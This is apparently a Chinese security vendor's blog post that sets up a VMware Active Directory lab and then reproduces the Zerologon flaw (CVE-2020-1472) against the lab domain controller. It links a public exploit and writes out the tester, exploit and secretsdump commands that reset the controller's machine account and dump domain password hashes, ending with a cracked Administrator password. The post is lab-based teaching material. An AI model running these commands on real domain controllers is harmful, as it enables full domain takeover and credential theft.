• 提交需求
    *
    *

    *
    *
    *
    立即提交
    点击”立即提交”，表明我理解并同意 《黄金城科技隐私条款》

    logo

      产品与服务
      解决方案
      技术支持
      合作发展
      关于黄金城
      申请试用
        VMware域环境搭建及Netlogon漏洞复现
        发布时间：2021-04-09 阅读次数： 410 次

        系统环境



        1.windows server 2012 r2（域控制器）

        2.windows server 2008 r2（域内服务器）

        3.windows 7（域内普通主机）


        2

        搭建域环境


        1、网络环境配置


        在VMware中安装好win7、win2008和win2012，然后第一步是进行网络配置，由于是要搭建域环境，所以域控制器需要使用固定的静态ip，在这里域内的三台机器为了方便都设置为固定ip。


        将三台机器的网卡都设置为NAT，进入虚拟网络编辑器，将DHCP的选中去掉。然后点击NAT设置，设置网关。此处设置：


        网段：192.168.154.0

        网关：192.168.154.1

        子网掩码：255.255.255.0




        域控主机（192.168.154.30）网络设置：

        ip：192.168.154.30

        子网掩码：255.255.255.0

        网关：192.168.154.1

        DNS：192.168.154.30


        Win2008（192.168.154.20）网络设置：

        ip：192.168.154.20

        子网掩码：255.255.255.0

        网关：192.168.154.1

        DNS：192.168.154.30




        Win7（192.168.154.10）网络设置：

        ip：192.168.154.10

        子网掩码：255.255.255.0

        网关：192.168.154.1

        DNS：192.168.154.30




        2、域控及DNS服务器（192.168.154.30）安装


        打开服务器管理器，点击添加角色和功能




        勾选AD域服务和DNS服务器


        一直下一步，点击安装




        安装完成后，需要将服务器提升为域控制器


        添加一个新林，根域名为domore.me


        输入目录还原密码，下一步


        一直下一步，点击安装，等待安装完成自动重启（如果安装出现错误，可在DNS选项去掉DNS委派的勾�。�


        3、主机入域


        等待域控制器安装重启完成后，在192.168.154.10和192.168.154.20两台主机上使用ping命令和nslookup命令查看是否能连通domore.me域。


        连通没有问题后，在控制面板->系统和黄金城官网->系统->更改设置中设置主机的域为domore.me


        成功入域


        4、创建域账户


        登录域控制器，创建一个域用户


        设置一个强密码1QAZ2wsx@?!


        使用域账户登录主机192.168.154.10


        至此，一个简单的域环境搭建完成。


        3

        Netlogon漏洞复现


        1、漏洞简介


        Netlogon协议是微软提供的一套域访问认证协议。CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞，由于微软在Netlogon协议中没有正确使用加密算法而导致的漏洞，微软在进行AES加密运算过程中，使用了AES-CFB8模式并且错误的将IV设置为全零，这使得攻击者在明文(client challenge)、IV等要素可控的情况下，存在较高概率使得产生的密文为全零。


        2、漏洞复现


        首先查看域控制器，Netlogon服务正在运行


        编辑kali的网络连接，使其能连通域控制器


        Poc及EXP链接：https://github.com/De4dCr0w/Vulnerability-analyze/tree/master/Zerologon-CVE-2020-1472

        PS：这里注意先pip3 install -r requirements.txt，pip3 install impacket一下

        运行poc检测脚本

        python3 zerologon_tester.py WIN-SHSMTK6HJCK 192.168.154.30，WIN-SHSMTK6HJCK为域控主机名，192.168.154.30为域控ip地址


        执行exp之前运行一次获取hash的脚本

        python3 secretsdump.py domore.me/WIN-SHSMTK6HJCK$@192.168.154.30 -just-dc -hashes :，发现获取失败


        行exp：python3 CVE-2020-1472.py WIN-SHSMTK6HJCK WIN-SHSMTK6HJCK$ 192.168.154.30


        再次执行获取hash脚本，成功。


        解一下域控Administrator账户的hash，Win2012@test，成功。

        上一条：每周黄金城官网速递???｜Conti勒索团伙向BCPS索要四千万赎金
        下一条：干货分享 | 《数据黄金城官网能力成熟度模型》实践指南合辑
        免费试用
        服务热线

        马上咨询

        400-811-3777

        回到顶部
        【网站地图】【sitemap】